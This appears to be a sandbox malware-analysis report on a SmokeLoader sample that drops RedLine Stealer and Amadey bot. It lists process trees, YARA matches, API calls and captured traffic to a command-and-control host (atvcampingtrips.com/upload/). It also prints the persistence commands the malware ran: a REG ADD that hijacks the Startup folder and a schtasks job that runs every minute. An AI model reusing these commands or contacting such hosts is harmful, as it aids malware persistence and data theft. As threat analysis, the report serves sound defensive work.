20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49718	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:02.150796890 CEST	1942	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: atvcampingtrips.com
Aug 21, 2021 21:46:02.150816917 CEST	1943	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 31 0c e6 f9 Data Ascii: 9n#f#txyd\|4.)r"?$`7C[zqNA -[k,vu1YjvzZ\|Oun3KX{~,UomZBN@N6+pa
Aug 21, 2021 21:46:07.358669996 CEST	2616	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 43 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 28 52 39 08 a5 6c 58 b5 ad 1e bd cc b6 f2 6d 9d 20 d1 fd 3b 14 05 84 9a Data Ascii: #\(R9lXm ;

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Aug 21, 2021 21:46:57.556545973 CEST	162.159.130.233	443	192.168.2.7	49762	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Tue Jan 19 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Wed Jan 19 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
Aug 21, 2021 21:46:57.556545973 CEST	162.159.130.233	443	192.168.2.7	49762	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		37f463bf4616ecd445d4a1937da06e19

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: b7cwlpwH6S.exe PID: 5136 Parent PID: 4976

General

Start time:	21:45:02
Start date:	21/08/2021
Path:	C:\Users\user\Desktop\b7cwlpwH6S.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\b7cwlpwH6S.exe'
Imagebase:	0x400000
File size:	283648 bytes
MD5 hash:	11FCF104DB2DF01616A5200A1FAE77DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.294298389.0000000004010000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.294341897.0000000004031000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3292 Parent PID: 5136

General

Start time:	21:45:10
Start date:	21/08/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: trgavvb PID: 2764 Parent PID: 1104

General

Start time:	21:45:49
Start date:	21/08/2021
Path:	C:\Users\user\AppData\Roaming\trgavvb
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\trgavvb
Imagebase:	0x400000
File size:	283648 bytes
MD5 hash:	11FCF104DB2DF01616A5200A1FAE77DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000011.00000002.355046848.0000000002530000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000011.00000002.355346540.00000000025B1000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 59%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: ABA5.exe PID: 2832 Parent PID: 3292

General

Start time:	21:45:57
Start date:	21/08/2021
Path:	C:\Users\user\AppData\Local\Temp\ABA5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ABA5.exe
Imagebase:	0x400000
File size:	348672 bytes
MD5 hash:	137747225D4A9EC60FB784677A70DCD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000002.459761733.0000000004110000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000002.459901259.0000000004140000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000003.361152185.000000000257F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000002.461033255.00000000044F0000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 2148 Parent PID: 2832

General

Start time:	21:45:58
Start date:	21/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: CA5D.exe PID: 5380 Parent PID: 3292

General

Start time:	21:46:34
Start date:	21/08/2021
Path:	C:\Users\user\AppData\Local\Temp\CA5D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\CA5D.exe
Imagebase:	0x900000
File size:	3741624 bytes
MD5 hash:	EBED5B4E23DC7BC73A207B16BF8DECD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 5656 Parent PID: 5380

General

Start time:	21:46:36
Start date:	21/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: EFC9.exe PID: 2416 Parent PID: 3292

General

Start time:	21:46:43
Start date:	21/08/2021
Path:	C:\Users\user\AppData\Local\Temp\EFC9.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\EFC9.exe
Imagebase:	0x400000
File size:	324608 bytes
MD5 hash:	A037BA041B0B7008141B56E15D9F6A43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: rnyuf.exe PID: 2016 Parent PID: 2416

General

Start time:	21:46:48
Start date:	21/08/2021
Path:	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe'
Imagebase:	0x400000
File size:	324608 bytes
MD5 hash:	A037BA041B0B7008141B56E15D9F6A43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 5176 Parent PID: 2016

General

Start time:	21:46:53
Start date:	21/08/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5200 Parent PID: 5176

General

Start time:	21:46:54
Start date:	21/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 5428 Parent PID: 2016

General

Start time:	21:46:54
Start date:	21/08/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe' /F
Imagebase:	0x1320000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: reg.exe PID: 2824 Parent PID: 5176

General

Start time:	21:46:55
Start date:	21/08/2021
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\
Imagebase:	0x1330000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4296 Parent PID: 5428

General

Start time:	21:46:55
Start date:	21/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e70f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rnyuf.exe PID: 4080 Parent PID: 1104

General

Start time:	21:46:58
Start date:	21/08/2021
Path:	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe
Imagebase:	0x400000
File size:	324608 bytes
MD5 hash:	A037BA041B0B7008141B56E15D9F6A43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: b7cwlpwH6S.exe PID: 5136 Parent PID: 4976 b7cwlpwH6S.exeCOMMON

Executed Functions

Function 0041CDD0, Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 267librarymemorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00438888), ref: 0041CDF0
GetFileSizeEx.KERNEL32(00000000,00000000), ref: 0041CE55
SetCommState.KERNEL32(00000000,?), ref: 0041CEED
GetQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041CF0C
IsProcessorFeaturePresent.KERNEL32(00000000), ref: 0041CF14
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041CF22
GetCharWidthW.GDI32(00000000,00000000,00000000,00000000), ref: 0041CF5C
GetLastError.KERNEL32 ref: 0041CF62
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 0041CF76
InterlockedIncrement.KERNEL32(?), ref: 0041CFBD
LoadLibraryA.KERNEL32(00424FB0), ref: 0041D01B
GlobalUnWire.KERNEL32(00000000), ref: 0041D023
GetBinaryType.KERNEL32(00000000,?), ref: 0041D06C
HeapWalk.KERNEL32(00000000,00000000), ref: 0041D076
WriteProfileStringA.KERNEL32(00424FF8,00424FD8,00424FC8), ref: 0041D08B
EnumResourceNamesA.KERNEL32(00000000,00425008,00000000,00000000), ref: 0041D0D1
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041D0D9
OpenSemaphoreA.KERNEL32(00000000,00000000,00425054), ref: 0041D10C
GetSystemTime.KERNEL32(00000000), ref: 0041D114
WriteProfileSectionA.KERNEL32(00425068,00425060), ref: 0041D15B
ReleaseActCtx.KERNEL32(00000000), ref: 0041D172
FatalAppExitA.KERNEL32(00000000,00425070), ref: 0041D17F
UnregisterWait.KERNEL32(00000000), ref: 0041D19C
InterlockedDecrement.KERNEL32(?), ref: 0041D1A9
FindAtomA.KERNEL32(00425088), ref: 0041D1EC
SetThreadContext.KERNEL32(00000000,00000000), ref: 0041D1F6
OpenMutexW.KERNEL32(00000000,00000000,004250A8), ref: 0041D205
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041D256
CopyFileExA.KERNEL32(004250D4,004250B8,00000000,00000000,00000000,00000000), ref: 0041D26E

Strings

";, xrefs: 0041D0DF
Pc, xrefs: 0041D1C0
onI, xrefs: 0041CFE3
&Pc, xrefs: 0041D219
kikudopeyicusodoluye, xrefs: 0041CE02

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ConsoleFileInterlockedOpenProfileWrite$AliasesAtomBinaryCharCommCompletionContextCopyDecrementEnumEnvironmentErrorExitFatalFeatureFindFreeGlobalHeapIncrementLastLengthLibraryLoadModeMutexNamesOverlappedPresentProcessorQueuedReleaseResourceResultSectionSemaphoreSizeStateStatusStringStringsSystemThreadTimeTypeUnregisterWaitWalkWidthWirelstrlen
String ID: ";$&Pc$Pc$kikudopeyicusodoluye$onI
API String ID: 854587263-271986238
Opcode ID: fd496612a84f1f857df7df87472e2bee00a184a5ae5159c7b19867e77f43277c
Instruction ID: 6c2339c3b9cd5e4c83d54772a7822d39fa84474f0edf728fd93b9fc0fb5bfb79
Opcode Fuzzy Hash: fd496612a84f1f857df7df87472e2bee00a184a5ae5159c7b19867e77f43277c
Instruction Fuzzy Hash: A6B1E574E84224DFEB60AB11DC4ABD97BB0FB09709F10C0AAE509651C0CBB959C5CF9E

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA90, Relevance: 37.1, APIs: 3, Strings: 18, Instructions: 324librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00424E18), ref: 0041BAC8
GetProcAddress.KERNEL32(0239D1A8,00438888), ref: 0041C47B
VirtualProtect.KERNELBASE(023952F0,0239D1AC,00000040,?), ref: 0041C49F

Strings

QB4, xrefs: 0041BB4F
T^Yu, xrefs: 0041BDA7
M{h, xrefs: 0041BEDF
snkr, xrefs: 0041C35D
=Mbt, xrefs: 0041C3B1
U!8, xrefs: 0041BB45
@, xrefs: 0041C3E8
2h, xrefs: 0041C1FB
8j/, xrefs: 0041BB13
v;M, xrefs: 0041C2A1
QGk , xrefs: 0041BFDF
-tIO, xrefs: 0041C13F
]k;z, xrefs: 0041C0D0
G6~0, xrefs: 0041BCF6
L|j, xrefs: 0041C2EE
25r3, xrefs: 0041BFD5
Yh, xrefs: 0041BB95
%&C, xrefs: 0041BEB7

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: 8j/$ %&C$-tIO$25r3$2h$=Mbt$@$G6~0$M{h$QB4$QGk $T^Yu$U!8$Yh$]k;z$snkr$L|j$v;M
API String ID: 3509694964-3870779105
Opcode ID: 4943a79322f6e51741c735c983372de53082c33ab0a448756db083b9e02b71d7
Instruction ID: ab376b631c0086f374974278b807f5f89125bfb16c9ec0cd4f5e4bb7fb6711ca
Opcode Fuzzy Hash: 4943a79322f6e51741c735c983372de53082c33ab0a448756db083b9e02b71d7
Instruction Fuzzy Hash: FC32DAB49063A8CFDB64DFA6998A7CDFBB0BB05304F6082C8D5592B211CB754AC5CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00401995, Relevance: 3.1, APIs: 2, Instructions: 52sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000000.00000002.293549412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1f7d92f130acbb62080e1447c1d69e0409f9beba467cd9eefcd93bc44a4b095d
Instruction ID: 2ba8d485649ef9dc555f469e2d9c6b56d1050b598c7c2bb426bbb3a3204dd29a
Opcode Fuzzy Hash: 1f7d92f130acbb62080e1447c1d69e0409f9beba467cd9eefcd93bc44a4b095d
Instruction Fuzzy Hash: 9901F7B1308104FBDB016A948D51EBA3229AB04350F200537B643B80F1C57D9512AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004019A1, Relevance: 3.0, APIs: 2, Instructions: 46sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000000.00000002.293549412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a3818a9fb474ba3e2fa5a9c52f930498e3002708ef1275743318c44ebc51d0b7
Instruction ID: 9ecdec514cf71f5eeb304a1e2f202b265b0d51b5f31dfdf67d95f392e824f2cf
Opcode Fuzzy Hash: a3818a9fb474ba3e2fa5a9c52f930498e3002708ef1275743318c44ebc51d0b7
Instruction Fuzzy Hash: 45F0D1B2304145FADB019F848D91EAE3225AB04351F200977F753B80F1C53D8512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004019AD, Relevance: 3.0, APIs: 2, Instructions: 42sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000000.00000002.293549412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 8cb8b8be6d17ab2250887b07254eaf4f81bb67d327a7255147a4b54465256ab5
Instruction ID: c9128524272919db4071d016e368c832c930b36d74f35c43d3039e04d983ac6b
Opcode Fuzzy Hash: 8cb8b8be6d17ab2250887b07254eaf4f81bb67d327a7255147a4b54465256ab5
Instruction Fuzzy Hash: ADF0C272304244FBDB01AF948DA1EAE3265AB44355F204977B753B80F1CA7DC512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004019C0, Relevance: 3.0, APIs: 2, Instructions: 41sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000000.00000002.293549412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 26df2dfdac8eaf934e06000df82d7820be29502094e8d8ce89c2033723ec3c78
Instruction ID: 77f4f58ad70177de11a0d2c10a1031ab6784e6ffca1e9eb20b8bff71da297da0
Opcode Fuzzy Hash: 26df2dfdac8eaf934e06000df82d7820be29502094e8d8ce89c2033723ec3c78
Instruction Fuzzy Hash: FCF0C272304205FBDB01AE94CD91EAE3325AB44315F204977B603B80F1CA3D8512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 0262003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0262024D

Strings

cess, xrefs: 0262018D
kernel32.dll, xrefs: 0262008F, 02620095

Memory Dump Source

Source File: 00000000.00000002.294072107.0000000002620000.00000040.00000001.sdmp, Offset: 02620000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: e8f8c4831be70272697407554d8c66f12b9278208adfcd3ab72a8bbff280b93f
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 03526975A01229DFDB64CF58C984BACBBB5BF09304F1480D9E94DAB351DB30AA89CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00409DC0, Relevance: 10.8, APIs: 7, Instructions: 326COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00409E00
GetFileType.KERNEL32(?), ref: 0040A087

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: FileInfoStartupType
String ID:
API String ID: 3016745765-0
Opcode ID: aad58746dbbb640e8eed9e928526793ed99180a6b8141cc94962e42eb13b126f
Instruction ID: ba3050d5312729c70a91d9f71e2c743143d1e9d08c04e98645506c89ad50502d
Opcode Fuzzy Hash: aad58746dbbb640e8eed9e928526793ed99180a6b8141cc94962e42eb13b126f
Instruction Fuzzy Hash: C8E1FA74E04249CFDB24CFA4C494BADBBB1BB49314F24C26ED8656B382C7399852CF56

Uniqueness

Uniqueness Score: -1.00%

Function 02620DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02620223,?,?), ref: 02620E02
SetErrorMode.KERNELBASE(00000000,?,?,02620223,?,?), ref: 02620E07

Memory Dump Source

Source File: 00000000.00000002.294072107.0000000002620000.00000040.00000001.sdmp, Offset: 02620000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 3c3a51ba6a009e7b1d79212dc7f20ad267759092f80e636d1ec7a79f14d9a4cf
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 9FD0123114512C77D7002B94DC09BCDBB1C9F05B66F008011FB0DD9181C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0268B443, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 0268B48B

Memory Dump Source

Source File: 00000000.00000002.294154643.0000000002686000.00000040.00000001.sdmp, Offset: 02686000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 74579c13604b195c333adf34a891de83ac7e0e5ad6c5b87383aadaea88e25ffc
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E7F090362407116FE7203BF9A88EB7E76E8AF59628F100628F686D55C0DB70E8454AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0268B102, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0268B153

Memory Dump Source

Source File: 00000000.00000002.294154643.0000000002686000.00000040.00000001.sdmp, Offset: 02686000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: cbcd8752c5d79941be11dc3443ed60d577e4e93f68d5b337c59cb81a43e3f11b
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: FA113C79A40208FFDB01DF98C985E98BBF5AF08351F0580A4F9489B361D771EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA70, Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,0239D1AC), ref: 0041BA7B

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: ad37e4a21d25789b5e023e3a8fb8806d0cfdfaf22f25dcf5d217a5dc23a29df5
Instruction ID: 0031f23324ae94e9ad78fbb645b5744f0a3615f9ba73f42161042fb016b08481
Opcode Fuzzy Hash: ad37e4a21d25789b5e023e3a8fb8806d0cfdfaf22f25dcf5d217a5dc23a29df5
Instruction Fuzzy Hash: 55C09BB55D430C9FF640EBD5B805F1137ACF30E701F404411FD09C2240D76164104A55

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041C4D0, Relevance: 19.6, APIs: 13, Instructions: 63librarytimethreadCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(00424CD8), ref: 0041C4EB
LoadLibraryA.KERNEL32(00424D30), ref: 0041C4F6
GetModuleHandleA.KERNEL32(00424D3C), ref: 0041C501
CompareFileTime.KERNEL32(?,?), ref: 0041C512
GetVersionExW.KERNEL32(?), ref: 0041C51F
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 0041C532
OpenWaitableTimerA.KERNEL32(00000000,00000000,00424D5C), ref: 0041C541
GetCurrentThreadId.KERNEL32 ref: 0041C547
CreateDirectoryA.KERNEL32(00424D84,00000000), ref: 0041C554
LoadLibraryA.KERNEL32(00000000), ref: 0041C55C
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00424D98), ref: 0041C56D
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041C575
CompareStringW.KERNEL32(00000000,00000000,00424DE8,00000000,00424DA8,00000000), ref: 0041C58D

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: CompareCreateLibraryLoadVersion$CurrentDirectoryDriveEnvironmentFileFreeHandleInfoModuleOpenSemaphoreStringStringsThreadTimeTimerTypeVerifyWaitable
String ID:
API String ID: 947699889-0
Opcode ID: 408b2c6e49bafc107165a2fc09f25a1e511a70d72075224a38d0a9290e619bc9
Instruction ID: db870b71e3f66baaf8401050f79ee282172be2921df159cf398a25e89492b4ce
Opcode Fuzzy Hash: 408b2c6e49bafc107165a2fc09f25a1e511a70d72075224a38d0a9290e619bc9
